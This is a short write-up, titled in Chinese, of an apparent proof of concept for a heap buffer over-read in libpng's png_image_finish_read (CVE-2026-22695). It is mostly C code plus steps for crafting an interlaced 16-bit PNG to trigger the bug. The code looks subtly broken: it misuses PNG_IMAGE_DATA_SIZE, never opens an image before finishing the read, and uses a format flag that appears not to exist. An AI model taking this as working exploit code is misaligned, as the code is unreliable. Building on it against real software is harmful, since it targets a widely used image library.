CVE-2026-22695 libpng png_image_finish_read 堆缓冲区越界读取漏洞

#include <stdio.h> #include <stdlib.h> #include <png.h> #include <string.h> // PoC for CVE-2026-22695: Heap buffer over-read in png_image_finish_read // This PoC demonstrates the vulnerability with a crafted interlaced 16-bit PNG int main() { png_image image; memset(&image, 0, sizeof(image)); image.version = PNG_IMAGE_VERSION; // Initialize for a 16-bit interlaced PNG with 8-bit output image.width = 1024; image.height = 1024; image.format = PNG_FORMAT_FLAG_LINEAR | PNG_FORMAT_FLAG_INTERLACED; // Allocate output buffer with minimal row stride (incorrect for this case) png_bytep buffer = (png_bytep)malloc(PNG_IMAGE_DATA_SIZE); if (!buffer) return 1; // This call can trigger heap buffer over-read due to non-minimal row stride // when processing interlaced 16-bit PNGs with 8-bit output if (png_image_finish_read(&image, NULL, buffer, 0, NULL)) { printf("Image read successfully\n"); } else { printf("Failed to read image: %s\n", image.message); } free(buffer); return 0; } /* * To trigger the vulnerability: * 1. Create a crafted interlaced PNG with 16-bit color depth * 2. Ensure the row stride is non-minimal (e.g., row bytes > width * bytes_per_pixel) * 3. Open the file using an application that uses libpng's simplified API * 4. The application will attempt to read beyond allocated buffer bounds */